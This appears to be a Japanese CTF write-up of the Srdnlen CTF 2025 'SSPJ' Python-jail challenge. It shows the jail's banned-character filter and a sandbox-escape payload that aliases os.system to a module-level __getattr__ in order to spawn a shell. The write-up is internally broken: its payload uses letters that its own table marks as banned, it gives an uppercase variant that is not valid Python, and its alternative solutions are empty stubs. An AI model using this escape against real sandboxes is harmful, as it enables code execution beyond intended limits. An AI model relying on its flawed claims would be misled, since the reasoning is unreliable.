Srdnlen CTF 2025 - SSPJ (Super Secure Python Jail)
Challenge
非常に多くの文字が禁止された pyjail。
import re
BANNED = 'mowqbyuhcvzxk0171'BANNED_SYMBOLS = '.()"\\'={}:[]'
code = input()
for c in code: if c.lower() in BANNED or c in BANNED_SYMBOLS: print("Banned!") exit()
exec(code)禁止: m, o, w, q, b, y, u, h, c, v, z, x, k, 0, 7, 1, ., (), ", ', \, =, {}, :, []
Solution
from...import...as 構文
括弧、代入、インデックス、関数呼び出しなしでコードを実行:
FROM OS IMPORT SYSTEM AS __GETATTR__FROM __MAIN__ IMPORT SHPython は import...as で変数に代入でき、__GETATTR__ を上書きすると属性アクセス時に関数が呼ばれる。
大文字小文字の無視
Python の import 文はファイルシステムに依存するが、内部モジュールは大文字小文字を区別しない場合がある。
完全なペイロード
# 禁止文字を避けた構文from os import system as __getattr__from __main__ import sh# sh がアクセスされると system('sh') が呼ばれるTechnical Details
import...as の仕組み
from module import name as alias# 内部的に:# temp = __import__('module')# alias = getattr(temp, 'name')__getattr__ のモジュールレベル定義
Python 3.7+ では、モジュールに __getattr__ を定義できる:
def __getattr__(name): return f"Accessed: {name}"
# 使用import modulemodule.anything # "Accessed: anything"禁止文字の回避
| 必要な文字 | 状態 |
|---|---|
| f, r, o, m | ’o’ は禁止 |
| i, m, p, o, r, t | ’o’, ‘m’ は禁止 |
この問題では特殊なバイパスが必要だった可能性がある。
Alternative Solutions
別解1: __init__.py の悪用
# パッケージの __init__ を操作別解2: sys.modules の操作
# 既存モジュールを上書きFlag
srdnlen{...}
References
- Srdnlen CTF 2025 Official
- https://sylvie.fyi/posts/srdnlen-quals-2025/